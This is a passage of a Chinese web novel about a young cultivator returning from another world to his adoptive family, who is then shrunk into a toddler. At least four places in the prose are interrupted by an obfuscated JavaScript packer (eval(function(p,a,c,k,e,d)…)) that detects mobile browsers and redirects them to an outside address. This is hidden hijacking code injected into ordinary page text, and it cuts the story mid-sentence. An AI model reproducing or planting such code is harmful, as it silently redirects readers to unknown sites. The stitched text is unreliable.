四十公里对哈士奇来说小菜一碟。 不过这玩意儿憋了泡屎不拉在外面,非得等回来拉在别墅,拉完还过来找他…… 姜林飞实在是不理解。 钢炮挠了半天也没出去,对着姜林飞开始嚎叫,委屈得眼泪汪汪好不凄惨。 “嗷呜嗷呜——” “可要为其开智,它似乎有话要说?”丛明雪碰了碰灵气罩,说完瞥了眼姜林飞。。 来之前姜洛玉告诉他,若是真的到了他曾去过的异世,两人的关系需要暂时隐瞒。 因为在那个世界,同性相恋“有违常理”,贸然袒露两人之间的关系,恐遭家人反对。 导致他有些不知道该如何与姜洛玉此界的家人相处。 “师尊,这个先不用。”姜洛玉按住丛明雪蠢蠢欲动的手,“之后再说。” 丛明雪:“……好。” 姜林飞想了一下钢炮口吐人言的画面,默默掐了把大腿,疼得差点没站起来。 他还是有种不切实际的飘忽感,急需找个人印证他现在经历的一切不是幻觉。 找谁? 爸妈年纪大了,万一是真的,这种能让世界观重组的事实……他怕他们会接受不了。 把大哥大姐先叫回来? “咔哒。” 姜林廷推开了别墅大门,伴随着智能管家“欢迎回家”的机械女声,玄关处的灯随之亮起。 暖黄色的灯洒在浅灰色的大理石上,折射出温和的光线。 刺鼻的臭味像入室打劫一样飘进鼻腔,姜林廷冷峻的脸上出现一丝裂痕。 低头看见黄褐色的狗脚印,多年来积攒的涵养更是一瞬间全都抛之脑后。 “大哥?你不是说在公司加班吗?” 姜林琬走进来后随手关上了门,上挑的凤眼不自觉抽搐几下,三秒钟之后转身将门开到最大。 灌进来的晚风吹散了些许臭气。 打开会客厅的灯,能看见从墙角敞开的狗笼一直蔓延到旋转楼梯的臭气根源。 “林飞回来了?”她头疼地捏了捏鼻梁,“和他说了多少遍不能太惯着钢炮,回来直接送去狗舍和阿黑待在一起,放在别墅里早晚闯祸。” 阿黑是姜林廷养的黑背百万——同窝姐姐的孩子,百万早就在几年前寿终正寝。 姜林廷黑着脸扯下领带,将额前的碎发捋到脑后,有些崩溃:“他心疼狗在外面住不习惯。没关系,我今天就让他知道,没人心疼是什么滋味。” 姜林琬推了推无框眼镜,赞同点头,是得好好收拾一下。 再不收拾都要上天了。 三楼卧室,姜林飞突然升起一股恶寒。 “有人来了。”丛明雪动了动耳朵。 姜洛玉也听见了脚步声,还有姜林廷和姜林琬的对话,有些紧张:“是大哥和大姐。” 姜林飞十分诧异:“他们两个不是加班吗?” “玉玉,你……你还是就这么见他们吧。” 姜洛玉点点头,先是用清洁术洗干净狗和地上的脏污,又整理好身上的法衣。最后习惯性抓了一把丛明雪的手。 姜林飞:“……?” 牵手?这难不成是异世师生间表达友好的方式? 姜洛玉:“……!” 现在松手倒是显得此地无银三百两,他好硬着头皮继续牵。 丛明雪忍俊不禁,回握了一下,随即自然地收回手。 姜林飞满腹疑惑,却不知道如何开口,只好暂时咽进肚子,重新瘫回沙发,任凭重获自由的钢炮蹂躏自己。 算了……毁灭吧,马上就能验证他到底是不是疯了。 脚步声越来越近,姜洛玉的心情越来越紧张。 撞见姜林飞是在意料之外,近乡情怯的念头还没来得及酝酿,就被那一球棒砸的灰飞烟灭。 现在的脚步声和“催命符”没什么区别,每扩大一点分贝,就能让他识海中沉寂许久的、关于过往的记忆浮现出来。 当年他被姜母从孤儿院接回姜家的时候八岁,而姜林廷大他四岁。 十二岁的小少年身形挺拔,穿着裁剪得体的衣服,像一棵茁壮成长的白杨树。 别墅门口的人堆里,除了姜父,第一个向他伸出手的就是姜林廷。 不过那时候的他脑子不太好用,长到八岁也不是很懂人类之间的交往,缩在姜母身后拒绝了姜林廷的示好。 好在姜林飞及时救场,直接越过姜林廷悬在空中的手,给了他一个大大的拥抱,还把珍藏已久的限量版玩具塞到他手里。 姜林琬紧随其后,趁乱揉了揉他的脑袋,塞给他一只很可爱的毛绒玩具兔子。 十岁的女孩儿那时穿着母亲买来的公主裙,还没变成之后的极简商务风,笑起来也是甜甜的。 她对他说:“小弟,欢迎回家。” 等到两人围着他看了个够,姜林廷才拿出藏在身后的见面礼,也揉了揉他的头。 “这儿就是你的家了。” 可是……他已经离开家一千多年了。 虽然对于现世来说,只不过是短短两年。但他却实打实在那度过了一千多年的岁月。 修炼、渡劫、命悬一线……他在害怕。 可姜洛玉不知道自己在怕什么。 他不该怕的。 他连死都不怕,这下终于回到心心念的家,又有什么好怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100984|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的? “是不是又在乱想?”姜林飞看出姜洛玉表情的一样,站起来揉了两把姜洛玉的头发。 “我……”姜洛玉松开无意识抠弄衣袖的手。 丛明雪蹙了蹙眉,将灵气附着在眼部。 丝丝缕缕的黑气顺着窗户流淌进来,最后顺着姜洛玉的裤脚爬上他的后背。 丛明雪掐破指尖再度附上双眼,看见了黑气里夹杂着数不尽的七情六欲和负面情绪。 是浊气。 “阿玉,你现在浊气入体,想太多很正常。”丛明雪传音道。 “当初你在仙界化形时,虽然雷劫将异世浊气劈得烟消云散,但也让魂魄面对浊气无法形成屏障。” “等到回去再经历一次雷劫,即可再度消除浊气的影响。” 姜洛玉和丛明雪对视一眼,灵台清明几分:“我知道了。” 丛明雪说得不错,踏入此界刹那,他就感受到一股奇妙的气息流进身体,自查过后并没有显示出异常。 如今经他一提醒,倒是反应过来——那气息沉重又潮湿,仿佛一场连绵不断的雨。 和在仙界化形前阻碍他修行的东西很像。 “吱嘎——” 门口走进来一男一女。 男人长相俊美,气质成熟,穿着一身得体的铅灰西装。不过领口的扣子被暴力拆开,扣子崩掉了一颗,为他斯文的外表增添几分狂野。 女人身材高挑,五官精致立体,眉宇间又多了几分英气。长直的黑发散在脑后,凤眼冷淡疏离,待在镜片后透着股强势的气息。 丛明雪很轻松地分辨出了来者身份。男人是姜洛玉的大哥姜林廷,女人是大姐姜林琬。 他们是姜洛玉的家人,以后……也会变成他的家人。 就像是三清秘境众妖和迦南月。 进来的两人僵在了原地。 “玉玉?”姜林琬一失手,捏弯了眼镜腿。 姜林廷心中的怒火被人浇了一盆凉水,又再度窜起火苗:“玉玉?!” 姜洛玉吸了吸鼻子,也顾不上难为情了,扑上去给了两人一人一个拥抱:“大哥大姐,我想死你们了!” “还有我!”姜林飞这下确定自己不是疯了也不是见鬼,挤上去给了姜洛玉一个结实的拥抱。 姜洛玉挣脱开自家二哥热情的怀抱,拉过丛明雪向两人介绍道:“这位是我师尊。” 两人:“……?” 姜洛玉深吸一口气:“我失踪的这两年,不是离家出走,也不是被人绑架,更不是被外星人抓去做实验。” “我穿越了。顺便……成了个仙。” 两人:“……???” 姜洛玉清楚地看见自家大哥大姐眼里的质疑、不解和怀疑,也不多解释,当机立断从丹田里掏出无相球开始手搓各式各样的法宝灵器、琪花瑶草。 流光溢彩的灵气闪烁不断,无相球怕吓到几个凡人也憋着不敢出声。 “还有这个,我的功法是能变成任何东西。”姜洛玉收起无相球,当着两人的面“欻”一下变成了姜林廷的模样。 “林琬……揍我一拳。”姜林廷抓住姜林琬的胳膊,语气诚恳。 姜林琬看看姜林廷,又看看对面和他一模一样的人,脑子乱得不行。 “打谁?” 78.穿越第七十八天 机不可失失不再来。 姜林琬成年之后,除了偶尔在搏击俱乐部和姜林廷互殴,日常生活中还真没和他动过手。 在姜林廷的请求下,她想起了十几岁刚学自由搏击时和他对打的兴奋。 “大哥,得罪了。” 姜林琬摘掉眼镜挂在领口,扯住姜林廷的外套,五指握拳,快狠准地砸了上去! 姜洛玉:“……” 丛明雪:“……?” “嗷嗷呜——!”钢炮兴奋地扒着姜林廷的腿。 三秒过后,姜林廷捂着流出血的鼻子,声音颤抖:“玉玉……你真的回来了。” 姜林琬收回钝痛的手,喃喃自语:“不是梦……” 听了这么多声久违的“昵称”,姜洛玉耳朵有些红,移开身子让出过道:“我们坐下慢慢再说。” 等到众人坐下,姜洛玉这才开口:“爸妈怎么样?这么晚了,他们怎么都没在家?” 他记得穿越前林朝盈因为身体上的小毛病暂停了一切活动,准备休养几年。姜景安也逐渐放权给姜林琬,陪在妻子身边,打算和她去国外散心。 “爸在加班,他的状态不错。不过妈……”姜林琬捏了捏眉心,“她这两年状态不是很好。” “她的偏头痛在你失踪之后严重不少。去看了医生,说可能是心理上的压力导致的。” 姜林廷轻飘飘看了眼在用沙发腿磨牙的钢炮,沉声说:“你的失踪对妈打击很大。她对我说……要是当初不把你从孤儿院带回来,你是不是就不会消失了。” 黑白色的大狗在那冰冷的视线下夹着尾巴趴下,不敢再做出什么找揍的动作。 姜洛玉放在膝盖上的手一紧,连忙道:“大哥,我这儿有药能……” 话说过半儿,他在芥子里硬是没找出来一瓶丹药。 姜洛玉这才想起自己到妖界的时候身上一贫如洗,储物戒在上升的过程里烟消云散,折腾到现在,身上都是清一色的天材地宝。 就连灵药都是一万年打底的仙级灵药。 这种东西就算稀释一万倍,凡人的身体都受不了,又怎么给林朝盈吃下去? “现成的丹药对林夫人来说过于暴烈,需要结合她的身体状况炼制丹药。”丛明雪用手扫过姜洛玉的后背,其他人看不见的浊气依旧固执地钻进他的身体。 姜洛玉看不见,是因为他是被浊气的目标。 “劳烦几位为我和夫人安排见面时间。” “对。”姜洛玉茅塞顿开,“师尊会炼药,到时候诊治一番,定能医好头疾。” 其余三人先是面露惊喜,又忍俊不禁。 反应最大的要属姜林飞。他拍着扶手笑得眼泪都出来了,撸了巴狗头:“你现在说话……哈哈哈我相信你在那边待了一千多年了。” 都腌入味儿了。 姜洛玉:“……” 姜林琬的视线在十分“不起眼”的白发男人身上扫了几下,问:“这是你的……老师?” 长得不错,就是这个头发……异世特色? 姜洛玉眼神飘忽一瞬,点头:“是,我们此次机缘巧合才回来的。” “爸妈的事先不急。”姜林廷认真看着姜洛玉,“我们这两年除了找你辛苦些,其他的没什么大事。你在那边过得怎么样?” 姜洛玉:“我在那边生活得很好。其实,我的真实身份是……” 整整一个小时过去,姜洛玉才简略说完了另一个世界的经历,期间丛明雪还时不时为他补充细节。 从初到仙界修仙化形,说到神殿潜修遭遇瓶颈,再到下界渡劫恢复记忆……挑挑拣拣,避重就轻。 那些惊险的际遇和幕后之人的阴谋被完全隐去,只剩下一个瑰丽奇幻的梦境。 夜已过半。 姜林廷看了眼时间,觉得自己忘了什么事。 “汪!”钢炮摇着尾巴,讨好地蹭着姜林廷的裤腿。 想起楼梯上或许早就风干了的狗屎,姜林廷眉心狂跳:“姜林飞——你和钢炮一起滚出去睡犬舍!” 姜林飞一把抱住钢炮,做出极其夸张的谄媚表情:“哥你别这么狠心,我家钢炮还是个宝宝,随地大小便很正常。” 正常个屁,他才不要出去和狗睡一起。 姜林廷说要让他住犬舍,真能把他连人带狗扔进去。 想当年他叛逆期学几个纨绔子弟到处鬼混不着家,还去飙车,全靠比“严父”还严厉的姜林廷把他揍回正道。 多年过去,被揍的记忆早就剩不下多少,可身体还记着被揍时候的疼痛。 这回钢炮触了姜林廷的霉头,姜林飞实在是无处说理。 “不用这么麻烦。”姜洛玉摊了摊手,“我用一下清洁术就好了。” 说完对着姜林飞挤了挤眼睛。 姜林飞:“大哥我发誓,从今天开始一定教会钢炮上厕所!” —— “阿琪快起床,我们今天还要逛街。”林朝盈晃了晃自家闺蜜,顺滑的真丝睡衣顺着胳膊划下,露出手腕上刻着金纹的红色珠串。 苏琪睁开眼睛打了个哈欠,被阳光里的女人晃了眼。 女人看起来最多不过四十,长长的褐色卷发散在身后,一张鹅蛋脸美得惊心动魄,只有眼角的浅浅细纹流露出岁月的痕迹。 “不老女神”的称号放在林朝盈身上毫无违和感。每一个见过她的人都会感慨她的年轻,即便她已经五十好几。 “你今天怎么精神这么好?”苏琪奇怪道,后半句“昨天不是还想儿子想得头疼睡不着”憋在心里根本不敢表现出来。 昨天林朝盈拎着酒瓶敲开她家的门的时候,她就反应过来昨天是个什么日子——姜洛玉消失的日子。 她与林朝盈一同长大,亲密无间,几十年的友谊坚不可摧。 林朝盈作为林氏地产董事长夫妻的老来女,上面还有一个哥哥一个姐姐。从小被如珠如宝的捧在手心里养大,要星星顺道也得把月亮摘下来捧到她手心。 换做一般人估计早就被宠成了不可一世的混世魔王,放在林朝盈身上却并未如此。 她靠着十二分的刻苦努力学习,因为喜欢演戏,又考上了最好的电影学院。 出道之后更是凭借一部电视剧红遍大江南北,事业从未受挫,就算是在风头正盛的年纪选择暂退专注家庭,孩子长大之后回归照样吊打一众新人。 林朝盈温柔、坚韧、清醒、强大。她知道自己想要什么,所以做什么都会做到最好。 她有一帆风顺的事业、真心相爱的丈夫、聪明伶俐的孩子…… 但两年前,养子的离奇失踪带给了她沉重的打击。 “我昨天没头痛,睡得好当然精神百倍。”林朝盈弹了弹苏琪的头,“阿琪,你在发什么呆?” 苏琪飞速下床:“你也快去收拾,我们今天还约了全身spa!” 林朝盈摇头笑了笑,水润的棕眸浮现起淡淡的哀伤。 她昨天……梦见第一次看见姜洛玉的时候了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109391|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当时她刚客串完一部戏不久,照例去孤儿院做义工,在孩子堆里注意到了几个新面孔。 负责交接工作的副院长告诉她,之前抚养他们的孤儿院因为年久失修、资源不足已经关闭了。他们也是刚接手这批孩子没多久。 她将亲手做的饼干分发下去,路过新来的几个孩子时,稍微多留意了几眼。 七八岁的孩子有的不敢抬头,但是会抓住她递过去的东西;有的抬起头和她对视,露出了微笑。 只有姜洛玉,他没接东西也没抬头。坐在自己的位置上,甚至都没有看向那袋孩子们都会喜欢的小熊形状的饼干。 或许是她停留的时间太久,男孩儿终于抬起头看了她一眼。 后来呢? 她再去的时候,看见了远离人群坐在地上数蚂蚁的姜洛玉。 后来又去了几次,这孩子依旧游离在人群之外。 他瘦弱、沉默,一双眼睛黑漆漆的,仿佛藏着她无法触及的秘密。 副院长说姜洛玉在之前的孤儿院里,也是一副不合群的样子。 曾经有很多家庭因为他漂亮精致的长相想要收养他,最终都因为他不亲人的性格选择放弃。 这让她想起自家老大接回家不久的狗崽。最开始,那只黑背也是这样一副沉浸在自己世界的样子。 离开母亲和兄弟姐妹的狗崽不相信任何人,是老大每天陪在它身边给了它安全感,狗崽才变得爱玩爱叫。 虽然这么想有些不太好,可她莫名觉得姜洛玉和狗崽很像。 让她……想带他回家。 于是之后再去,她都会尝试着接近他。 从最开始的一靠近姜洛玉就会走掉,到两人能在两米的距离里和谐相处。 后来有一天,她因为拍戏意外伤了手臂,修养好再去,已经过了将近三个月。 她被孤儿院里的孩子们团团围住,叽叽喳喳问她怎么这么久没来。 她笑着给他们分发礼物,很快就发到了最后一个——是姜洛玉,那个“不合群”的孩子。 小小的孩子看起来比三个月之前还要瘦上不少,手里掐着一朵粉粉嫩嫩的小花。 他把花递了上来,黑沉的眸子看着她受伤的胳膊,小声说:“有了花花……就不痛了。” 她轻轻接过小花,揉了揉孩子的头。 “谢谢,我很喜欢。那你……愿意让我做你的妈妈吗?” 原本拿起礼物就要离开的孩子愣在原地,眼睛里泛起水雾。 “你想和我一起生活吗?你会多出来两个哥哥和一个姐姐,还有一个爸爸,他们都很喜欢你。” 没有得到回应,于是她不厌其烦地又问了一遍:“你想当我的孩子吗?没关系,慢慢说,说出你的真实想法。” “……想。” 幼童稚嫩的嗓音轻得几乎要消散在风里。 她拉住了姜洛玉伸过来的手,带着他回了姜家。 可是……那个被她带回来的孩子却不见了。 一夕之间无影无踪,什么办法也找不到他。 怪力乱神的东西也不是没试过,但无论用什么方法,全都没有结果。 那段混乱的日子,林朝盈罕见地记起了和姜洛玉第一次对视时的感受——那里面,是一团无依无靠、随处漂泊的空气。 “叮铃铃——” 林朝盈回过神,从被子里翻出手机:“喂廷廷,我在你苏姨家里,你有什么事吗?” “妈,玉玉回来了。” 79.穿越第七十九天 挂钟指向十点。 暖阳透过落地窗照射在会客厅洁净如初的地毯上,往来的佣人全都忍不住将目光落到阳光下熠熠生辉的青年身上。 王妈更是拎着空运过来的新鲜食材在一旁激动得热泪盈眶,擦了擦眼泪冲向厨房开始备菜。 两年了,小少爷终于回来了! 天知道她今早看见姜洛玉的时候差点没激动得晕过去,还是李管家扶了她一下,她才没和地板亲密接触。 虽然不知道小少爷这两年去了哪里,不过平安回来就好。 “大哥,我现在怎么样?不会很奇怪吧?” 姜林廷上下打量一番姜洛玉的穿搭,摇头道:“不会。” 姜洛玉整理了一下身上刚买回来的衣服,又摸了摸束在脑后的头发。 衣服的款式很休闲,纯白卫衣配上浅咖色长裤,致力于还原出穿越前他在家人面前的“乖巧”形象。 姜洛玉又看了一眼丛明雪身上的衣服。 衬衫加西裤干练整洁,双手自然垂落,银发半扎,眼神冷淡,整个人仿佛刚从西伯利亚裹挟着冷风回来。 姜洛玉忍不住低头捏了捏指尖。他已经很久没有体会过如此忐忑的心情了。 和命悬一线不同,这种忐忑不安在等待的过程中被无限拉长,最后又化作箭雨插回心脏。 两年,对现在的他来说太短,甚至不够一次闭关。修仙者对时间的感知会随着修为增长和寿命增加逐渐淡薄,往往百年弹指一挥。 可这两年对于凡人来说,却是实打实的七百三十个日夜。他根本不敢想象这两年里家人都经历了什么样的煎熬。 就算刚才姜林廷他们宽慰他,说换做家里其他人失踪他们也会着急,但姜洛玉依旧心口闷闷的。 他最开始打算修为高了之后再寻找能回家——最好是能回到穿越的那个早晨的方法。 不过在与丛明雪相熟之后,旁敲侧击下得知“异世”之说六界内的记载寥寥无几。 而且最关键的是,他在一千多年的时光里,关于家人和来处的记忆逐渐模糊,身处异界时根本没有感觉。 直到如今归家,他才察觉到异样。 有什么东西在消磨他对“家”的记忆。 是天道吗? 他不知道。 他只是想回家…… 回家而已。 “玉玉,”姜林琬走上去拍了拍姜洛玉的肩膀,“回家了还有什么不开心的?” “爸妈也快回来了,他们都很想你。” 说话间,原本几近消失的浊气猛地暴增,顺着姜洛玉的后背疯狂涌入。 丛明雪二话不说,立马拉住姜洛玉的手腕,将灵力探入经脉试图将其逼出! 浊气,铺天盖地的浊气挤在里面,如同扭曲蠕动的虫蚁。 “玉玉你……”姜林飞见姜洛玉脸色难看,忍不住也上前一步,想看看他有没有事。 姜洛玉刚想抬头告诉姜林飞自己没事,结果从尾椎一直到后颈沉重得像是有千斤巨石压在上面,呼吸也困难起来。 “搞什么……” 他只得靠在丛明雪身上,大口大口喘息着,眼前的一切越来越模糊。 他还没见到爸妈,不能晕……靠。 世界一片漆黑。 三人:“玉玉!” 丛明雪一把接住姜洛玉将人横抱起来,在他们惊诧的目光里抿了抿唇,快速道:“浊气入体,恐生异变。请三位退后,我需要一个开阔的空间。” 话音刚落,会客厅的家具全都开始震动着向四周挪动。 “林飞,你去关门……”姜林廷感受到紧跟着震动的地面,话锋一转,“不,你去给家里的佣人都放个假。” 姜林飞:“好!” 姜林廷:“林琬,你去给爸妈打电话,拖住他们,让他们晚点回来。” 姜林琬摸出手机:“好的大哥。” 虽然不知道姜洛玉身上到底发生了什么事,但现在这个场景……不太适合外人待在这里。 丛明雪把人放在空地,连接两人的灵丝并未断开,在他眼里,浊气几乎把姜洛玉裹成了一个茧。 那些混杂着七情六欲和别的杂念的东西,对于修仙者来说,比之心魔更加危险。 心魔是由内而外的,往往与自身相关。 而浊气却是外界的东西,侵入神魂肺腑,很容易让被入侵者丧失本我,迷失在其他人的爱恨情仇里。 虽然姜洛玉本体特殊,就连修炼的功法也注定他不会受浊气影响过大,但丛明雪不敢赌。 太多了。 似乎整个世界的浊气都涌了过来。 丛明雪唤出聆天剑,剑身因为异世天道的压制黯淡不少,斩上黑茧时的锐利却不减分毫。 黑茧被剑身斩开,又无缝衔接地重新裹了上去。 丛明雪察觉不到姜洛玉有什么生命危险,可填满了整个会客厅,依旧在不断增加的浊气让他根本无法冷静。 “疯子,你在做什么!”姜林廷心脏漏跳一拍,飞身上前想踹开丛明雪。 丛明雪开启结界,把人挡在外面,冷声道:“我不会害他。” 姜林廷:“我凭什么相信你!” 姜林琬被声音吸引,攥着电话转身,被长剑的反光晃了眼。 心脏漏跳一拍,她才看清长剑每每落到距离姜洛玉面颊半尺时,都会悬停在半空。 一下、两下、三下…… 三米开外,姜林廷挥拳凿着无形的墙壁,堪称无能狂怒最佳典范。 “你不是不会害他吗?那你现在又在干什么!” 疯了、都疯了……姜林琬脑袋“嗡”得一声。 “林琬、林琬?”姜景安皱起眉,听见电话那侧传来了金属撞击的声响。 “你那边怎么回事,我和你妈马上就要到家了,没什么要紧的事等我们回去再说。” “有,你们先别回来!”姜林琬疯狂转动大脑寻找借口,绝对不能让爸妈回来看见这个场景! 他们这个年纪是见过大风大浪没错,可绝对不是现在这种局面! “咔哒。” 姜林飞好不容易给佣人放完假:“我回来……啊啊啊!” 他的眼睛出问题了! 不对,他好不容易才回来的弟弟! “汪汪!”钢炮紧随其后跑进会客厅。 浊气汇聚溢散出来的“臭气”被钢炮捕捉。感受到里面的不详,于是钢炮开始朝着正中央的两人吼叫,又扑上去狂挠结界罩,叫声极其凶狠又透着一股子悲壮。 几秒之后声音越来越小,大狗夹着尾巴后脚抖得像筛糠一样。 “祖宗你又要干什么!”姜林飞扑上去抱住狗脖子,然后和姜林廷一起捶结界。 姜林琬灵光一现,看着蔫下去的哈士奇:“钢炮!它把腿摔断了,我们正打算送它去宠物医院!爸你们掉头去艾诺宠物医院,我们在那儿汇合!” 钢炮:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丛明雪跪坐在姜洛玉身边,摸上了左腕的玉镯——或许他该召唤门灵,带姜洛玉回去。 看向外面依旧在捶着结界的三人,以及门口多出来的两道和三人血脉相连的气息。 若是一声招呼不打就离开,再想回来又要等上十万年—— 气息弱了。 和他命格相连的那道气息如同风中残烛,马上就要淹没在一场雨里。 “你们几个到底在干什么?!” 打扮得体的中年夫妻闯了进来,丛明雪抬手,用法术刻录下姜家几人的容貌。 透着白光的玉镯从两人手上脱离,悬浮在半空。 他眼里的世界只剩下浊气的黑,以及一点玉镯的白。 滔天灵气拔地而起,与浊气此消彼长,撞击在一起开出黑蓝二色的花。 “砰——” 姜洛玉所在的地面传来轰然巨响。 丛明雪失明一瞬,再睁眼,整个人愣在了原地。 其他五人亦然。 粉雕玉琢的人类幼崽坐在衣服堆里,看起来只有三岁左右,肉乎乎的小手抓着领口,脸上满是迷茫。 注意到离得最近的灼热视线,幼崽黑亮的眼睛眨了眨,抬头朝着丛明雪软乎乎道:“师、师尊!” 80.穿越第八十天 浊气和灵气,在没有灵根的凡人眼里都是看不见的。 所以,姜家众人目睹了姜洛玉从成人变成幼崽的全过程。 毫无预兆,只有一声闷响。 声音过后,他们眼里就多了个粉粉嫩嫩的幼崽。 “抱、抱抱。”幼崽伸着手,见迟迟没人过来抱自己,委屈得眼睛泛起水雾。 丛明雪猛地回神,顾不上飘在他身后的玉镯,将幼崽用卫衣裹住,熟练地抱到怀里。 “你……还记得自己是谁吗?” 幼崽歪了歪脑袋。 他是谁? 脑袋里划过乱七八糟的记忆,幼崽一拍脑袋,肯定道:“姜、洛、玉。” 语气之自豪听得姜景安心脏狂跳。他扶了扶额头,生出一种去医院看一下耳朵……还有眼睛的冲动。 一片寂静里,林朝盈向前走了几步。 由于林父生前一直供养各种风水大师,她对这种“怪力乱神”的东西接受良好,壮起胆子想近距离观察“缩小”的姜洛玉。 她撞到了一堵无形的墙。 丛明雪连忙扯下结界,神色复杂地对上姜家众人。 林朝盈:“玉玉,我是……” “妈妈。”姜洛玉对着林朝盈甜甜叫了一声。 在他格外混杂乱的记忆里,“妈妈”有两个,面前的女人就是其中之一。 看见“妈妈”眼里涌出的泪水,幼崽慌了一下,立马对着“妈妈”伸出手。 妈妈将他抱在了怀里。 温暖的感觉让小小的幼崽鼻子酸酸的,他好久……好久没体会过这个妈妈的怀抱了。 又感受到其他人如有实质的目光,幼崽抬起埋在妈妈肩上的脑袋,对着围观众人叫了个遍。 从爸爸到大哥大姐,再到二哥。 最后,幼崽指了指自己,神秘兮兮地开口:“其实……我是一块儿生姜。” 众人:“……?” 姜洛玉拍了拍胸脯,不太熟练地控制手指掐了两个法诀。 “啊——!” 林朝盈尖叫一声,怀里的孩子变成了拳头大小的生姜躺在衣服上,上面还长着棵生姜苗。 姜景安晕了晕,腿有些软,觉得自己大概……需要一辆救护车。 姜家三子女:“……!” “爸你别晕!”姜林飞一把架住姜景安,“这真是玉玉回来了!这你、我……” “其实小弟是穿越了。”姜林廷从姜林飞手里接过姜景安,把他扶到沙发上坐下。 “他去了另一个世界修仙,最近得了机缘才回来。这位……是小弟的师尊,负责教导他修炼。” 姜景安头更晕了,熬夜的后遗症一窝蜂的涌上来,听不清也看不清。 丛明雪对着姜景安颔首,送去一丝灵力为他缓解身体上的不适,而后切断了姜洛玉的变身。 于是脸颊因为兴奋变得红扑扑的幼崽又回到了众人的视线里。还穿上了大小合适的衣服——和地面上那堆一模一样。 林朝盈心有余悸,拍了拍幼崽的后背:“吓死妈妈了……妈妈还以为你变不回来了。” 天知道她看见姜洛玉变成生姜那一瞬间在想什么,她甚至连之后养他用什么纹路的花盆都想好了。 好在姜洛玉又重新变回了人形。 “妈妈……不喜欢生姜吗?”幼崽瘪了瘪嘴,强忍泪水从林朝盈的怀里挣脱,抱着她的大腿开始无声落泪。 要不然为什么他变回来了妈妈会这么开心…… 林朝盈立马蹲下去,用袖子擦了擦幼崽的泪水,柔声安慰:“怎么会?玉玉就算变成生姜……也是最可爱的生姜!” 幼崽这才破涕为笑,揉了揉哭红的眼睛,抬头却发现林朝盈的后脑飘着缕缕黑气。 那些“黑气”张牙舞爪,呈现出半透明状,还带着股恶臭。 病气。 姜洛玉脑子里蹦出来这两个字。他不知道自己为什么会看见这种东西,但他的脑袋里回荡着男人无波无澜的声线—— “‘病气者,痨病成疾’。病气乃后天生,修士、凡人、牲畜皆可得。若要斩去,可以用三元化气丹。” “师尊,可是凡人吃不了三元化气丹啊。那他们生病了该怎么办?” “修士可用三魂将其斩去,但此举过于惊险,若是修士与那凡人因果不深,也无用。” 师尊教过他怎么斩病气。 幼崽眼睛亮了亮,在身体里找到三魂所在,分出一丝进入识海,用额头贴了贴林朝盈的手背。 林朝盈顿觉手背上的皮肤凉丝丝的,从刚才开始就闷疼后脑,痛感消失得无影无踪。 “玉玉……”她没能抓住像鱼一样滑溜的幼崽。 姜洛玉脑袋在会客厅众人身上转了一圈,发现三个哥哥姐姐身上没有病气,只有爸爸的后背飘着黑气,于是迈着小短腿“哒哒哒”跑向姜景安,张开双臂对着他要抱抱。 看见对着自己撒娇的缩水版小儿子,姜景安严肃惯了面上不显,其实心都要化了。轻咳一声,起身把还没他腿高的幼崽抱到怀里。 他刚才受了丛明雪的灵力,现在已经完全缓过来了,甚至从未如此耳聪目明过。 唯物主义者的身份在看见朝自己飞过来的“蓝气”时彻底粉碎,于是姜林廷说过的话在脑子里又重新过了一遍。 穿越、修仙。 他不是什么过于死板的老古董。当初姜林飞叛逆期的时候,他从他的书架上搜罗到了不少类似的书籍。 出于好奇,他硬着头皮翻看了其中一本——看完也不理解姜林飞为什么非要和一个臭名昭著的骗子去山上当道士。 “爸爸……”姜洛玉眨眨眼,果断又用额头贴了一下姜景安的手背。 姜景安手背一凉,莫名觉得后腰当年车祸的旧伤轻松不少,揉了揉幼崽的头,喃喃道:“回来就好,回来就好。” 丛明雪这下看清姜洛玉额头贴在姜景安手上时划过的白光,上前一步道:“伯父,阿玉现在控制不住身上的灵力,恐会有损魂体。等我为他封印灵力,你们方可随意亲近。” 姜景安这才有时间仔细打量丛明雪。 虽说有些不太信任对面的人,但如今这人确实是唯二的“修仙者”,又和姜洛玉一并回来。 这人说什么“不封印”恐怕会对姜洛玉有损害,他也只好把怀里的幼崽递了过去。 “我不要!”姜洛玉死死扒着姜景安的胳膊。 他认得丛明雪现在的表情,每次他在落雪峰捣乱都会被这样的丛明雪说教。 不管幼崽如何拒绝,甚至开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 